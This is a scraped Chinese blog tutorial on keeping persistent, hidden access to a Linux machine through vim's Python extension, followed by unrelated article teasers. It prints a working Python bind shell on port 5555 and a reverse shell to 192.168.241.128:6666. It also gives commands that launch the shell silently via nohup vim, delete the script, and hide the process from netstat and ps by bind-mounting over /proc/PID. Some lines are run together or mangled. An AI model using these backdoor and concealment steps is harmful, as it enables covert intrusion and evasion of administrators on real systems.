Linux权限维持之vim python 扩展后门(五)

news/2025/3/10 3:21:29/

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py">
/dev/null 2>&1 &) && sleep 2 && rm -f dir.py$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

恶意脚本 1.py的内容可以是任何功能的后门,比如监听本地的11端口: 正向后门

我们可以多了解看一篇文章
https://www.leavesongs.com/PYTHON/python-shell-backdoor.html from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',5555))server.listen(5)print ('waiting for connect')talk, addr = server.accept() print ('connect from',addr)proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

我们新建目录 新建文件

反向后门


import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.241.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

隐藏后门

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。          #“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误  输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结   果是否正确,都不会有输出。

将netstat -antp 查看到的可疑连接隐藏起来,解决方法:

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

(nohup vim -E -c "py3file 1.py"> /dev/null 2>&1 &) && sleep 2 && rm -f 1.py

我们打开 Kail 进行监听

但是 这里能看到我们们的进程

隐藏进程


mkdir null
mount --bind null /proc/6238
netstat -anpt

#mount--bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅 是无法访问了)。

攻击机nc连接过去就可以了:


nohup vim -E -c "pyfile dir.py" nc 127.0.0.1 11
查看 cat /proc/$$/mountinfo 可以看到挂在的目录
sudo umount /proc/2607 sudo netstat -anpt
ps aux | grep 2607

总体步骤

刚开始

然后我们隐藏进程

然后输入

mkdir null
mount --bind null /proc/3362
netstat -anpt

发现已经被隐藏

然后我们

查看 cat /proc/$$/mountinfo 可以看到挂在的目录
然后取消挂载
sudo umount /proc/3362
查看进程
sudo netstat -anpt
ps aux | grep 2607

查看挂载目录

然后我们取消挂载 发现又回来了

然后我们在挂载

mount --bind null /proc/3362

现在又看不到了

然后我们进行监听


http://www.ppmy.cn/news/1577964.html

相关文章

蓝桥备赛(13)- 链表和 list(下)

一、动态链表 - list (了解) new 和 delete 是非常耗时的操作 在算法比赛中,一般不会使使用 new 和 delete 去模拟实现一个链表。 而且STL 里面的 list 的底层就是动态实现的双向循环链表,增删会涉及 new 和 delete,效率不高,竞赛…

LINUX网络基础 [五] - HTTP协议

目录 HTTP协议 预备知识 认识 URL 认识 urlencode 和 urldecode HTTP协议格式 HTTP请求协议格式 HTTP响应协议格式 HTTP的方法 HTTP的状态码 ​编辑HTTP常见Header HTTP实现代码 HttpServer.hpp HttpServer.cpp Socket.hpp log.hpp Makefile Web根目录 H…

【Java开发指南 | 第三十四篇】IDEA没有Java Enterprise——解决方法

读者可订阅专栏:Java开发指南 |【CSDN秋说】 文章目录 1、新建Java项目2、单击项目名,并连续按两次shift键3、在搜索栏搜索"添加框架支持"4、勾选Web应用程序5、最终界面6、添加Tomcat 1、新建Java项目 2、单击项目名,并连续按两次…

【五.LangChain技术与应用】【12.LangChain语言模型介绍:AI语言处理的核心技术】

(敲黑板)各位老铁坐稳了!今儿咱们要深扒LangChain里最硬核的语言模型模块,这玩意儿简直就是AI界的"翻译官+编剧+军师"三合一。我翻烂了官方文档,结合全网20+篇技术贴,给你们整出这篇万字脱水指南! 一、LangChain是啥?——给大模型装个USB接口 想象你要用Cha…

使用 Node.js 部署高性能应用:从入门到进阶

使用 Node.js 部署高性能应用:从入门到进阶 大家好,我是你们的运维伙伴Echo_Wish。今天我们来探讨如何使用Node.js部署高性能应用。Node.js因其异步非阻塞I/O模型、高效的事件驱动架构以及强大的包管理器npm,成为了现代Web开发的重要工具。我们将从简单的应用入手,逐步深入…

10.RabbitMQ集群

十、集群与高可用 RabbitMQ 的集群分两种模式,一种是默认集群模式,一种是镜像集群模式; 在RabbitMQ集群中所有的节点(一个节点就是一个RabbitMQ的broker服务器) 被归为两类:一类是磁盘节点,一类是内存节点; 磁盘节点会把集群的所有信息(比如交换机、绑…

计算机三级网络技术知识点汇总【7】

第七章 路由器配置及使用 1. 路由器的基础知识 1.1 路由器的基本概念 路由器是工作在网络层的设备,负责将数据分组从源端主机经最佳路径传送到目的端主机,实现在网络层的互联。路由器工作在 TCP/IP 网络模型的网络层,对应于 OSI 网络参考模…

RuoYi框架添加自己的模块(学生管理系统CRUD)

RuoYi框架添加自己的模块(学生管理系统) 框架顺利运行 首先肯定要顺利运行框架了,这个我不多说了 设计数据库表 在ry数据库中添加表tb_student 表字段如图所示 如图所示 注意id字段是自增的 注释部分是后面成功后前端要展示的部分 导入…